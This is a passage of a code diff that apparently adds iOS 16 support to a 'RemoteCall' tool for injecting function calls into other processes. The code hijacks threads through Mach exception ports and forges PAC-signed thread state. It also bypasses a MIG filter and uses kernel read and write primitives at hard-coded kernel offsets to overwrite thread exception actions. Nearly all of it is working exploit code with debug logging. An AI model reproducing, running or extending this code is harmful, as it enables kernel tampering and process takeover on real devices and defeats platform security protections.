NULL, + hasInfo && info.dli_fbase ? (unsigned long long)(stripped - (uint64_t)info.dli_fbase) : 0, + hasInfo && info.dli_saddr ? (unsigned long long)(stripped - (uint64_t)info.dli_saddr) : 0); + + if (!stripped) { + fflush(stdout); + return; + } + + volatile uint32_t *insn = (volatile uint32_t *)(uintptr_t)stripped; + RC_IOS16_DEBUG_LOG("(rc.iOS16) local-symbol %s insn: [0]=0x%08x [1]=0x%08x [2]=0x%08x [3]=0x%08x [4]=0x%08x [5]=0x%08x [6]=0x%08x [7]=0x%08x\n", + label ? label : "(null)", + insn[0], + insn[1], + insn[2], + insn[3], + insn[4], + insn[5], + insn[6], + insn[7]); + fflush(stdout); +} + +static void rc_ios16_log_local_address_probe(const char *label, uint64_t address) { + uint64_t stripped = nativestrip(address); + Dl_info info = {0}; + int hasInfo = stripped ? dladdr((void *)(uintptr_t)stripped, &info) : 0; + + RC_IOS16_DEBUG_LOG("(rc.iOS16) local-address %s: raw=0x%llx stripped=0x%llx image=%s image_base=%p symbol=%s symbol_addr=%p image_off=0x%llx symbol_off=0x%llx\n", + label ? label : "(null)", + address, + stripped, + hasInfo && info.dli_fname ? info.dli_fname : "(none)", + hasInfo ? info.dli_fbase : NULL, + hasInfo && info.dli_sname ? info.dli_sname : "(none)", + hasInfo ? info.dli_saddr : NULL, + hasInfo && info.dli_fbase ? (unsigned long long)(stripped - (uint64_t)info.dli_fbase) : 0, + hasInfo && info.dli_saddr ? (unsigned long long)(stripped - (uint64_t)info.dli_saddr) : 0); + + if (hasInfo) { + volatile uint32_t *insn = (volatile uint32_t *)(uintptr_t)stripped; + RC_IOS16_DEBUG_LOG("(rc.iOS16) local-address %s insn: [0]=0x%08x [1]=0x%08x [2]=0x%08x [3]=0x%08x\n", + label ? label : "(null)", + insn[0], + insn[1], + insn[2], + insn[3]); + } + fflush(stdout); +} + +static uint64_t rc_ios16_resolve_second_unconditional_branch_target(const char *label, void *symbol) { + uint64_t stripped = nativestrip((uint64_t)symbol); + if (!stripped) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) branch-target %s: symbol stripped to 0\n", label ? label : "(null)"); + fflush(stdout); + return 0; + } + + volatile uint32_t *insn = (volatile uint32_t *)(uintptr_t)stripped; + uint32_t branchInsn = insn[1]; + if ((branchInsn & 0xfc000000U) != 0x14000000U) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) branch-target %s: second insn is not B imm, insn=0x%08x\n", + label ? label : "(null)", + branchInsn); + fflush(stdout); + return 0; + } + + int32_t imm26 = (int32_t)(branchInsn & 0x03ffffffU); + if (imm26 & 0x02000000U) { + imm26 |= (int32_t)0xfc000000U; + } + + uint64_t branchPC = stripped + sizeof(uint32_t); + uint64_t target = (uint64_t)((int64_t)branchPC + ((int64_t)imm26 << 2)); + RC_IOS16_DEBUG_LOG("(rc.iOS16) branch-target %s: stripped=0x%llx branch_pc=0x%llx insn=0x%08x target=0x%llx\n", + label ? label : "(null)", + stripped, + branchPC, + branchInsn, + target); + fflush(stdout); + return target; +} static BOOL rc_is_kernel_ptr(uint64_t value) { return ds_isvalid(value); @@ -207,6 +340,18 @@ void mig_bypass_resume(void) { } void mig_bypass_pause(void) { } void mig_bypass_monitor_threads(uint64_t thread1, uint64_t thread2) { } +@interface RemoteCall (iOS16) +- (BOOL)setExceptionPortOnThreadIOS16:(mach_port_t)exceptionPort forThread:(uint64_t)currThread useMigFilterBypass:(BOOL)useMigFilterBypass; +- (int)initRemoteCallForProcessIOS16:(const char *)process useMigFilterBypass:(BOOL)useMigFilterBypass; +- (BOOL)verifyIOS16ExceptionActionsForThread:(uint64_t)thread exceptionPort:(mach_port_t)exceptionPort stage:(const char *)stage; +- (BOOL)installIOS16SharedDummyExceptionActionsForThread:(uint64_t)thread exceptionPort:(mach_port_t)exceptionPort exceptionMask:(uint32_t)exceptionMask; +- (void)rememberIOS16ExceptionActionsForThreadRo:(uint64_t)threadRo originalActions:(uint64_t)actions; +- (void)restoreIOS16ExceptionActions; +- (void)restoreIOS16ExceptionActionsSkippingThreadRo:(uint64_t)skipThreadRo; +- (BOOL)preflightRemotePaciaGadgetForProcessIOS16:(const char *)process result:(NSMutableString *)result; +- (BOOL)runFirstLandingPaciaProbeWithResult:(NSMutableString *)result exceptionPort:(mach_port_t)exceptionPort exception:(excmsg *)exc thread:(uint64_t)thread firstPortAddr:(uint64_t)firstPortAddr; +@end + @implementation RemoteCall + (NSString *)lastInitError { @@ -223,6 +368,10 @@ + (BOOL)isLiveProcessRuntime { // bool set_exception_port_on_thread(mach_port_t exceptionPort, uint64_t currThread, bool useMigFilterBypass) { - (BOOL)setExceptionPortOnThread:(mach_port_t)exceptionPort forThread:(uint64_t)currThread useMigFilterBypass:(BOOL)useMigFilterBypass { + if (rc_is_ios16()) { + return [self setExceptionPortOnThreadIOS16:exceptionPort forThread:currThread useMigFilterBypass:useMigFilterBypass]; + } + bool success = false; void* thread_set_exception_ports_addr = dlsym(RTLD_DEFAULT, "thread_set_exception_ports"); void* pthread_exit_addr = dlsym(RTLD_DEFAULT, "pthread_exit"); @@ -416,6 +565,17 @@ - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal } } + printf("(rc) signState: thread=0x%llx flags_before=0x%x diver=0x%llx pc_raw=0x%llx pc_signed=0x%llx lr_raw=0x%llx lr_signed=0x%llx\n", + signingThread, + state->__flags, + diver, + strippedPC, + signedPC, + strippedLR, + signedLR); + fflush(stdout); + rc_ios16_log_return_path_thread(signingThread, "signState"); + uint32_t flags = state->__flags; flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC | __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | @@ -423,6 +583,13 @@ - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal state->__flags = flags; if (pc) state->__pc = signedPC; if (lr) state->__lr = signedLR; + if (rc_is_ios16()) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) signState flags after clear: flags_after=0x%x pc_set=%d lr_set=%d\n", + state->__flags, + pc != 0, + lr != 0); + fflush(stdout); + } return; } @@ -532,8 +699,18 @@ - (NSUInteger)doRemoteCallInternalTimeout:(int)timeout exceptionPort:(mach_port_ printf("(rc) Don't receive first exception on %s thread\n", threadStr); return 0; } - printf("(rc) Exception received, setting up args and replying\n"); + printf("(rc) Exception received, setting up args and replying: name=%s temp=%d exc=0x%x code=[0x%llx 0x%llx] pc=0x%llx lr=0x%llx sp=0x%llx flags=0x%x trojan=0x%llx\n", + name, isTempCall, + exc.exception, + exc.codeFirst, + exc.codeSecond, + exc.threadState.__pc, + exc.threadState.__lr, + exc.threadState.__sp, + exc.threadState.__flags, + _trojanThreadAddr); fflush(stdout); + rc_ios16_log_return_path_thread(_trojanThreadAddr, "remote-call-before-reply"); if (argCount > 8) { uint64_t sp = nativestrip(exc.threadState.__sp); @@ -545,6 +722,15 @@ - (NSUInteger)doRemoteCallInternalTimeout:(int)timeout exceptionPort:(mach_port_ memcpy(&exc.threadState.__x[0], args, argCount * sizeof(uint64_t)); bzero(&exc.threadState.__x[argCount], (8 - argCount) * sizeof(uint64_t)); [self signState:_trojanThreadAddr withState:&exc.threadState pc:pcAddr lr:lrMarker]; + printf("(rc) Replying remote call: name=%s pc=0x%llx lr=0x%llx sp=0x%llx flags=0x%x x0=0x%llx x1=0x%llx\n", + name, + exc.threadState.__pc, + exc.threadState.__lr, + exc.threadState.__sp, + exc.threadState.__flags, + exc.threadState.__x[0], + exc.threadState.__x[1]); + fflush(stdout); if (!statereply(&exc, &exc.threadState)) { return 0; } @@ -563,12 +749,89 @@ - (NSUInteger)doRemoteCallInternalTimeout:(int)timeout exceptionPort:(mach_port_ } uint64_t returnPC = nativestrip(exc2.threadState.__pc); uint64_t returnLR = nativestrip(exc2.threadState.__lr); - if (returnPC != nativestrip(lrMarker) && returnLR != nativestrip(lrMarker)) { + printf("(rc) Return exception: name=%s temp=%d exc=0x%x code=[0x%llx 0x%llx] pc=0x%llx lr=0x%llx returnPC=0x%llx returnLR=0x%llx expected=0x%llx x0=0x%llx flags=0x%x\n", + name, isTempCall, + exc2.exception, + exc2.codeFirst, + exc2.codeSecond, + exc2.threadState.__pc, + exc2.threadState.__lr, + returnPC, + returnLR, + nativestrip(lrMarker), + exc2.threadState.__x[0], + exc2.threadState.__flags); + fflush(stdout); + if (returnPC == pcAddr) { + printf("(rc) Remote call faulted at function entry: name=%s pc=0x%llx code=[0x%llx 0x%llx]; parking thread before restore\n", + name, exc2.threadState.__pc, exc2.codeFirst, exc2.codeSecond); + fflush(stdout); + if (rc_is_ios16() && isTempCall) { + [self signState:_trojanThreadAddr withState:&exc2.threadState pc:lrMarker lr:lrMarker]; + RC_IOS16_DEBUG_LOG("(rc.iOS16) signed fault-entry park trap: name=%s pc=0x%llx lr=0x%llx marker=0x%llx\n", + name, + exc2.threadState.__pc, + exc2.threadState.__lr, + lrMarker); + fflush(stdout); + } else { + exc2.threadState.__pc = lrMarker; + exc2.threadState.__lr = lrMarker; + } + if (!statereply(&exc2, &exc2.threadState)) { + printf("(rc) Failed to park faulted remote call thread\n"); + fflush(stdout); + } + self.lastError = [NSString stringWithFormat:@"Remote call faulted at %s entry pc=0x%llx", name, exc2.threadState.__pc]; + return 0; + } + BOOL unexpectedReturnTrap = (returnPC != nativestrip(lrMarker) && returnLR != nativestrip(lrMarker)); + if (rc_is_ios16() && isTempCall && name && strcmp(name, "ret_gadget") == 0 && + returnPC != pcAddr + sizeof(uint32_t) && + returnPC != nativestrip(lrMarker)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) ret_gadget probe rejected: returnPC=0x%llx expected_pc_after_ret=0x%llx expected_marker=0x%llx returnLR=0x%llx marker=0x%llx code=[0x%llx 0x%llx]\n", + returnPC, + pcAddr + sizeof(uint32_t), + nativestrip(lrMarker), + returnLR, + nativestrip(lrMarker), + exc2.codeFirst, + exc2.codeSecond); + fflush(stdout); + unexpectedReturnTrap = YES; + } + if (unexpectedReturnTrap) { printf("(rc) Process might have crashed! Unexpected trap: pc=0x%llx lr=0x%llx expected=0x%llx\n", exc2.threadState.__pc, exc2.threadState.__lr, lrMarker); + if (rc_is_ios16()) { + rc_ios16_log_local_address_probe("unexpected-trap-pc", returnPC); + rc_ios16_log_local_address_probe("unexpected-trap-lr", returnLR); + rc_ios16_log_local_address_probe("unexpected-trap-codeSecond", exc2.codeSecond); + } + rc_ios16_log_return_path_thread(_trojanThreadAddr, "unexpected-return-trap"); NSLog(@"%@", NSThread.callStackSymbols); - [self destroyRemoteCall]; self.lastError = [NSString stringWithFormat:@"Process might have crashed! Unexpected trap pc=0x%llx lr=0x%llx", exc2.threadState.__pc, exc2.threadState.__lr]; + if (rc_is_ios16() && isTempCall && _originalThreadNeedsRestore) { + arm_thread_state64_internal restoreState = _originalState; + restoreState.__flags = exc2.threadState.__flags; + RC_IOS16_DEBUG_LOG("(rc.iOS16) restoring original thread from unexpected temp trap: name=%s original_pc=0x%llx original_lr=0x%llx trap_pc=0x%llx trap_lr=0x%llx trap_x0=0x%llx flags=0x%x\n", + name, + restoreState.__pc, + restoreState.__lr, + exc2.threadState.__pc, + exc2.threadState.__lr, + exc2.threadState.__x[0], + restoreState.__flags); + fflush(stdout); + [self signState:_trojanThreadAddr withState:&restoreState pc:restoreState.__pc lr:restoreState.__lr]; + BOOL restored = statereply(&exc2, &restoreState); + RC_IOS16_DEBUG_LOG("(rc.iOS16) unexpected temp trap restore reply=%d\n", restored); + fflush(stdout); + _originalThreadNeedsRestore = false; + [self destroyRemoteCall]; + return 0; + } + [self destroyRemoteCall]; } uint64_t retValue = exc2.threadState.__x[0]; if (!statereply(&exc2, &exc2.threadState)) { @@ -576,9 +839,8 @@ - (NSUInteger)doRemoteCallInternalTimeout:(int)timeout exceptionPort:(mach_port_ } printf("(rc) %s func's retValue = 0x%llx(%llu)\n", name, retValue, retValue); if(isTempCall && strcmp(name, "getpid") == 0 && retValue == 0) { - printf("(rc) getpid failed\n"); - printf("(rc) spinning here...\n"); - while(1) { sleep(1); }; + printf("(rc) getpid failed without spin\n"); + fflush(stdout); } return retValue; } @@ -642,8 +904,31 @@ - (BOOL)restoreTrojanThreadWithState:(arm_thread_state64_internal *)state // int destroy_remote_call(void) { - (int)destroyRemoteCall { + printf("(rc) destroyRemoteCall enter success=%d trojanMem=0x%llx creatingExtraThread=%d originalNeedsRestore=%d firstPort=0x%x secondPort=0x%x\n", + _success, + _trojanMem, + _creatingExtraThread, + _originalThreadNeedsRestore, + _firstExceptionPort, + _secondExceptionPort); + fflush(stdout); + + BOOL restoredIOS16ActionsBeforeRemoteCleanup = NO; + if (rc_is_ios16() && _success && _trojanMem && _creatingExtraThread) { + uint64_t trojanTro = _trojanThreadAddr ? thread_get_t_tro(_trojanThreadAddr) : 0; + RC_IOS16_DEBUG_LOG("(rc.iOS16) restore exc-actions before extra-thread cleanup skip_tro=0x%llx\n", trojanTro); + fflush(stdout); + [self restoreIOS16ExceptionActionsSkippingThreadRo:trojanTro]; + restoredIOS16ActionsBeforeRemoteCleanup = YES; + } + if (_success && _trojanMem) { - RemoteArbCallWithTimeout(100, self, munmap, _trojanMem, PAGE_SIZE); + if (_trojanMemIsStackFallback) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) skip munmap for stack fallback trojanMem=0x%llx\n", _trojanMem); + fflush(stdout); + } else { + RemoteArbCallWithTimeout(100, self, munmap, _trojanMem, PAGE_SIZE); + } if (_creatingExtraThread) { RemoteArbCallWithTimeout(-1, self, pthread_exit, 0); @@ -663,13 +948,20 @@ - (int)destroyRemoteCall { mach_port_destruct(mach_task_self_, _secondExceptionPort, 0, 0); _secondExceptionPort = MACH_PORT_NULL; } + if (rc_is_ios16() && !restoredIOS16ActionsBeforeRemoteCleanup) { + [self restoreIOS16ExceptionActions]; + } if (_dummyThread) { - pthread_cancel(_dummyThread); + if (!rc_is_ios16()) { + pthread_cancel(_dummyThread); + } _dummyThread = NULL; } self.threadList = [NSMutableArray new]; _trojanMem = 0; + _trojanMemIsStackFallback = false; + _trojanMemScratchOffset = 0; _success = false; _creatingExtraThread = false; _originalThreadNeedsRestore = false; @@ -679,6 +971,8 @@ - (int)destroyRemoteCall { } - (void)dealloc { + printf("(rc) RemoteCall dealloc\n"); + fflush(stdout); [self destroyRemoteCall]; } @@ -851,10 +1145,29 @@ - (uint64_t)retryFirstThreadWithMigFilterBypass:(BOOL)useMigFilterBypass { // NOTE: Do not run this function while "attaching xcode" on iOS 18+, it will make device unstable. //int init_remote_call(const char* process, bool useMigFilterBypass) { - (int)initRemoteCallForProcess:(const char *)process useMigFilterBypass:(BOOL)useMigFilterBypass { + NSOperatingSystemVersion rcVersion = [[NSProcessInfo processInfo] operatingSystemVersion]; + BOOL useIOS16RemoteCall = rc_is_ios16(); + printf("(rc) route process=%s os=%ld.%ld.%ld ios16=%d\n", + process ?: "(null)", + (long)rcVersion.majorVersion, + (long)rcVersion.minorVersion, + (long)rcVersion.patchVersion, + useIOS16RemoteCall); + fflush(stdout); + + if (useIOS16RemoteCall) { + return [self initRemoteCallForProcessIOS16:process useMigFilterBypass:useMigFilterBypass]; + } + if (!process || process[0] == '\0') { return -1; } + if (is_pac_supported() && !pacsignworks()) { + self.lastError = @"RemoteCall needs an arm64e/PAC-capable launch context."; + return -1; + } + _liveContainerRuntime = islcruntime(); if (_liveContainerRuntime) { bool localPACWorks = pacsignworks(); @@ -1225,6 +1538,8 @@ - (int)initRemoteCallForProcess:(const char *)process useMigFilterBypass:(BOOL)u - (instancetype)initWithProcess:(NSString *)process useMigFilterBypass:(BOOL)useMigFilterBypass { self = [super init]; + g_rc_last_init_error = nil; + self.lastError = nil; const char *processName = process.UTF8String; int rc; @try { @@ -1317,6 +1632,25 @@ - (CGFloat)valueDouble { uint64_t remote_alloc_str(RemoteCall *proc, const char *str) { uint64_t len = strlen(str) + 1; + if (proc.trojanMemIsStackFallback) { + uint64_t offset = (proc.trojanMemScratchOffset + 7) & ~7ULL; + if (offset + len > PAGE_SIZE) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_str overflow len=0x%llx offset=0x%llx\n", len, offset); + fflush(stdout); + return 0; + } + uint64_t buf = proc.trojanMem + offset; + if (![proc remote_write:buf from:str size:len]) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_str write failed buf=0x%llx len=0x%llx\n", buf, len); + fflush(stdout); + return 0; + } + proc.trojanMemScratchOffset = offset + len; + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_str buf=0x%llx len=0x%llx next=0x%llx str=%s\n", + buf, len, proc.trojanMemScratchOffset, str); + fflush(stdout); + return buf; + } uint64_t buf = RemoteArbCall(proc, malloc, len); if (buf) proc[buf].string = @(str); return buf; @@ -1325,14 +1659,18 @@ uint64_t remote_alloc_str(RemoteCall *proc, const char *str) { uint64_t remote_sel(RemoteCall *proc, const char *name) { uint64_t str = remote_alloc_str(proc, name); uint64_t sel = RemoteArbCall(proc, sel_registerName, str); - RemoteArbCall(proc, free, str); + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, str); + } return sel; } uint64_t remote_getClass(RemoteCall *proc, const char *name) { uint64_t str = remote_alloc_str(proc, name); uint64_t cls = RemoteArbCall(proc, objc_getClass, str); - RemoteArbCall(proc, free, str); + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, str); + } return cls; } @@ -1353,7 +1691,9 @@ uint64_t remote_NSString(RemoteCall *proc, const char *str) { uint64_t cls_NSString = remote_getClass(proc, "NSString"); uint64_t resultCStr = remote_alloc_str(proc, str); uint64_t result = remote_msg(proc, cls_NSString, sel_stringWithCString, resultCStr, 0, 0, 0); - RemoteArbCall(proc, free, resultCStr); + if (!proc.trojanMemIsStackFallback) { + RemoteArbCall(proc, free, resultCStr); + } return result; } @@ -1392,3 +1732,2124 @@ void remote_setCGRect(RemoteCall *proc, uint64_t obj, uint64_t sel, CGRect newRe // Now do the actual thing remote_msg(proc, obj, sel, 0,0,0,0); } + +#pragma mark - iOS 16 + +#define RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS 0x58 +#define RC_IOS16_KERNEL_SAVED_X27 0x40 +#define RC_IOS16_ZONE_WRITE_LEN 0x20 +#define RC_EXC_GUARD_INDEX 12 +#define RC_EXCEPTION_ACTION_SIZE 0x20 +#define RC_EXCEPTION_ACTION_PORT 0x0 +#define RC_EXCEPTION_ACTION_FLAVOR 0x8 +#define RC_EXCEPTION_ACTION_BEHAVIOR 0xc +#define RC_IOS16_LCK_MTX_ILOCK 0x22000000 +#define RC_IOS16_LCK_MTX_INTERLOCK_ONLY 0x10000000 +#define RC_IOS16_AST_GUARD 0x1000 +#define RC_IOS16_OFF_THREAD_MACHINE_CPUDATAP 0x140 +#define RC_IOS16_OFF_CPU_ACTIVE_THREAD 0x30 +#define RC_IOS16_OFF_CPU_PENDING_AST 0x4c +#define RC_IOS16_MAX_THREAD_CANDIDATES 64 +#define RC_IOS16_ACTIVE_SCAN_SECONDS 60 +#define RC_IOS16_ACTIVE_SCAN_INTERVAL_US 50000 + +typedef struct { + uint64_t threadRo; + uint64_t actions; +} rc_ios16_exception_actions_restore; + +static rc_ios16_exception_actions_restore g_rc_ios16_exception_actions_restore[16]; +static int g_rc_ios16_exception_actions_restore_count = 0; +static uint64_t g_rc_ios16_last_active_injected_thread = 0; +static BOOL g_rc_ios16_first_landing_inventory_enabled = NO; +static NSMutableString *g_rc_ios16_first_landing_inventory_result = nil; +static BOOL g_rc_ios16_first_landing_pacia_enabled = NO; +static NSMutableString *g_rc_ios16_first_landing_pacia_result = nil; +static int g_rc_ios16_first_landing_pacia_mode = 0; + +static bool rc_is_ios16(void) { +#if !RC_IOS16_RESEARCH_ENABLED + return false; +#endif + NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion]; + return version.majorVersion == 16; +} + +static BOOL rc_kernel_ptr_matches(uint64_t lhs, uint64_t rhs) { + if (lhs == rhs) { + return YES; + } + if (!lhs || !rhs) { + return NO; + } + return nativestrip(lhs) == nativestrip(rhs); +} + +static void rc_ios16_log_return_path_thread(uint64_t thread, const char *stage) { + if (!rc_is_ios16() || !rc_is_kernel_ptr(thread)) { + return; + } + + uint16_t options16 = thread_get_options(thread); + uint32_t options32 = ds_kread32(thread + off_thread_options); + uint64_t kstackConfigured = thread_get_kstackptr(thread); + uint64_t kstackE8 = ds_kread64(thread + 0xe8); + uint64_t kstackF0 = ds_kread64(thread + 0xf0); + uint64_t cpuData140 = ds_kread64(thread + 0x140); + uint64_t cpuData148 = ds_kread64(thread + 0x148); + uint64_t cpuData150 = ds_kread64(thread + 0x150); + uint64_t cpuDataConfigured = rc_is_kernel_ptr(cpuData140) ? cpuData140 : 0; + uint64_t activeConfigured = cpuDataConfigured ? ds_kread64(cpuDataConfigured + RC_IOS16_OFF_CPU_ACTIVE_THREAD) : 0; + uint32_t pendingAst = cpuDataConfigured ? ds_kread32(cpuDataConfigured + RC_IOS16_OFF_CPU_PENDING_AST) : 0; + + RC_IOS16_DEBUG_LOG("(rc.iOS16) return-path %s: thread=0x%llx opts16=0x%x opts32=0x%x off_options=0x%x kstack=0x%llx kstack[e8]=0x%llx kstack[f0]=0x%llx cpu[140]=0x%llx cpu[148]=0x%llx cpu[150]=0x%llx active=0x%llx active_match=%d pending_ast=0x%x\n", + stage, + thread, + options16, + options32, + off_thread_options, + kstackConfigured, + kstackE8, + kstackF0, + cpuData140, + cpuData148, + cpuData150, + activeConfigured, + rc_kernel_ptr_matches(activeConfigured, thread), + pendingAst); + fflush(stdout); +} + +static BOOL rc_find_kernel_ptr_match(const void *buffer, size_t size, uint64_t needle, size_t *offsetOut, uint64_t *valueOut) { + const uint8_t *bytes = (const uint8_t *)buffer; + for (size_t off = 0; off + sizeof(uint64_t) <= size; off += sizeof(uint64_t)) { + uint64_t value = 0; + memcpy(&value, bytes + off, sizeof(value)); + if (rc_kernel_ptr_matches(value, needle)) { + if (offsetOut) { + *offsetOut = off; + } + if (valueOut) { + *valueOut = value; + } + return YES; + } + } + return NO; +} + +static uint32_t rc_thread_task_threads_offset(void) { + return rc_is_ios16() ? 0x350 : off_thread_task_threads_next; +} + +static uint32_t rc_ios16_task_threads_head_offset(void) { + return 0x58; +} + +static BOOL rc_ios16_is_task_thread_head(uint64_t entry, uint64_t task) { + return entry && task && entry == task + rc_ios16_task_threads_head_offset(); +} + +static BOOL rc_validate_thread_candidate(uint64_t thread, uint64_t expectedTask) { + if (!rc_is_kernel_ptr(thread)) { + return NO; + } + + @try { + uint64_t task = thread_get_task(thread); + if (task != expectedTask) { + return NO; + } + + uint64_t tro = thread_get_t_tro(thread); + if (!rc_is_kernel_ptr(tro)) { + return NO; + } + } @catch (NSException *exception) { + const char *name = exception.name ? exception.name.UTF8String : "(null)"; + const char *reason = exception.reason ? exception.reason.UTF8String : "(null)"; + RC_IOS16_DEBUG_LOG("(rc.iOS16) validate thread candidate exception: thread=0x%llx expectedTask=0x%llx name=%s reason=%s\n", + thread, expectedTask, name, reason); + fflush(stdout); + return NO; + } + + return YES; +} + +static uint64_t rc_thread_from_task_threads_link(uint64_t entry, uint64_t expectedTask) { + if (rc_ios16_is_task_thread_head(entry, expectedTask)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) reached task thread queue head: entry=0x%llx task=0x%llx head_off=0x%x\n", + entry, expectedTask, rc_ios16_task_threads_head_offset()); + fflush(stdout); + return 0; + } + + if (!rc_is_kernel_ptr(entry)) { + return 0; + } + + uint32_t offsets[] = { + rc_thread_task_threads_offset(), + off_thread_task_threads_next, + 0x348, + 0x350, + }; + + for (size_t i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) { + uint32_t off = offsets[i]; + if (!off || entry < off) { + continue; + } + + uint64_t thread = entry - off; + if (rc_validate_thread_candidate(thread, expectedTask)) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) resolved task thread queue entry: entry=0x%llx thread=0x%llx off=0x%x\n", + entry, thread, off); + fflush(stdout); + return thread; + } + + @try { + uint64_t task = thread_get_task(thread); + if (task && task != expectedTask) { + RC_IOS16_DEBUG_LOG("(rc.iOS16) thread entry resolver rejected task: entry=0x%llx thread=0x%llx task=0x%llx expectedTask=0x%llx\n", + entry, thread, task, expectedTask); + fflush(stdout); + } + } @catch (NSException *exception) { + const char *name = exception.name ? exception.name.UTF8String : "(null)"; + const char *reason = exception.reason ? exception.reason.UTF8String : "(null)"; + RC_IOS16_DEBUG_LOG("(rc.iOS16) thread entry resolver exception: entry=0x%llx thread=0x%llx off=0x%x name=%s reason=%s\n", + entry, thread, off, name, reason); + fflush(stdout); + } + } + + return 0; +} + +static uint64_t rc_resolve_task_thread_entry(uint64_t entry, uint64_t expectedTask) { + if (rc_validate_thread_candidate(entry, expectedTask)) { + return entry; + } + return rc_thread_from_task_threads_link(entry, expectedTask); +} + +static BOOL rc_ios16_write64_in_zone_block(uint64_t addr, uint64_t value) { + uint64_t base = addr & ~(uint64_t)(RC_IOS16_ZONE_WRITE_LEN - 1); + uint8_t block[RC_IOS16_ZONE_WRITE_LEN] = {0}; + ds_kread(base, block, sizeof(block)); + + size_t off = (size_t)(addr - base); + if (off + sizeof(value) > sizeof(block)) { + return NO; + } + + memcpy(block + off, &value, sizeof(value)); + ds_kwritezoneelement(base, block, sizeof(block)); + return ds_kread64(addr) == value; +} + +static void rc_ios16_log_exception_probe(const char *stage, + uint64_t helperThread, + uint64_t dummyThread, + uint64_t selfThread, + uint32_t selfCtid) { + uint64_t helperKstack = thread_get_kstackptr(helperThread); + uint64_t helperRawKstack = ds_kread64(helperThread + off_thread_machine_kstackptr); + uint64_t state0 = ds_kread64(helperThread + 0x0); + uint64_t state1 = ds_kread64(helperThread + 0x8); + uint64_t state2 = ds_kread64(helperThread + 0x10); + uint64_t state3 = ds_kread64(helperThread + 0x18); + + RC_IOS16_DEBUG_LOG("(rc.iOS16) exc-probe %s: helper=0x%llx dummy=0x%llx self=0x%llx ctid=0x%x offs(ctid=0x%x mutex=0x%x kstack=0x%x taskq=0x%x)\n", + stage, helperThread, dummyThread, selfThread, selfCtid, + off_thread_ctid, off_thread_mutex_lck_mtx_data, off_thread_machine_kstackptr, rc_thread_task_threads_offset()); + RC_IOS16_DEBUG_LOG("(rc.iOS16) exc-probe %s.helper: kstack=0x%llx raw_kstack=0x%llx state64=[0x%llx 0x%llx 0x%llx 0x%llx]\n", + stage, helperKstack, helperRawKstack, state0, state1, state2, state3); + RC_IOS16_DEBUG_LOG("(rc.iOS16) exc-probe %s.dummy: mutex=0x%x alt[388]=0x%x alt[390]=0x%x alt[3a8]=0x%x alt[3b0]=0x%x alt[3c0]=0x%x\n", + stage, + ds_kread32(dummyThread + off_thread_mutex_lck_mtx_data), + ds_kread32(dummyThread + 0x388), + ds_kread32(dummyThread + 0x390), + ds_kread32(dummyThread + 0x3a8), + ds_kread32(dummyThread + 0x3b0), + ds_kread32(dummyThread + 0x3c0)); + RC_IOS16_DEBUG_LOG("(rc.iOS16) exc-probe %s.self: ctid=0x%x alt[3a0]=0x%x alt[408]=0x%x alt[440]=0x%x alt[448]=0x%x\n", + stage, + ds_kread32(selfThread + off_thread_ctid), + ds_kread32(selfThread + 0x3a0), + ds_kread32(selfThread + 0x408), + ds_kread32(selfThread + 0x440), + ds_kread32(selfThread + 0x448)); + fflush(stdout); +} + +static int rc_ios16_replace_kernel_ptr_matches(uint64_t base, + size_t size, + uint64_t needle, + uint64_t replacement) { + uint8_t *buffer = malloc(size); + if (!buffer) { + return 0; + } + + memset(buffer, 0, size); + ds_kreadbuf(base, buffer, size); + + int count = 0; + for (size_t off = 0; off + sizeof(uint64_t) <= size; off += sizeof(uint64_t)) { + uint64_t value = 0; + memcpy(&value, buffer + off, sizeof(value)); + if (!rc_kernel_ptr_matches(value, needle)) { + continue; + } + + ds_kwrite64(base + off, replacement); + uint64_t after = ds_kread64(base + off); + if (rc_kernel_ptr_matches(after, replacement)) { + count++; + } + } + + free(buffer); + return count; +} + +static void rc_ios16_log_plausible_tro_stack_slots(uint64_t searchBase, + size_t size, + uint64_t targetTro) { + uint8_t *buffer = malloc(size); + if (!buffer) { + return; + } + + memset(buffer, 0, size); + ds_kreadbuf(searchBase, buffer, size); + + int count = 0; + for (size_t off = 0; off + sizeof(uint64_t) <= size; off += sizeof(uint64_t)) { + uint64_t value = 0; + memcpy(&value, buffer + off, sizeof(value)); + if (!rc_kernel_ptr_matches(value, targetTro)) { + continue; + } + + uint64_t slot = searchBase + off; + uint64_t plus10 = ds_kread64(slot + 0x10); + uint64_t plus18 = ds_kread64(slot + 0x18); + uint64_t plus20 = ds_kread64(slot + 0x20); + uint64_t minus8 = slot >= 8 ? ds_kread64(slot - 0x8) : 0; + BOOL plausible = (plus10 || plus18 || plus20 || minus8); + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO candidate off=0x%zx slot=0x%llx rel_page=0x%llx value=0x%llx checks(+10=0x%llx +18=0x%llx +20=0x%llx -8=0x%llx) plausible=%d\n", + off, slot, slot - trunc_page(slot), value, plus10, plus18, plus20, minus8, plausible); + count++; + } + + RC_IOS16_DEBUG_LOG("(rc.iOS16) stack TRO candidate count=%d target_tro=0x%llx\n", count, targetTro); + fflush(stdout); + free(buffer); +} + +static void rc_ios16_log_guard_target(const char *stage, + uint64_t thread, + uint64_t expectedPort) { + uint64_t tro = thread_get_t_tro(thread); + uint64_t actions = tro ? ds_kread64(tro + RC_IOS16_OFF_THREAD_RO_EXC_ACTIONS) : 0; + uint64_t guardAction = actions + (RC_EXC_GUARD_INDEX * 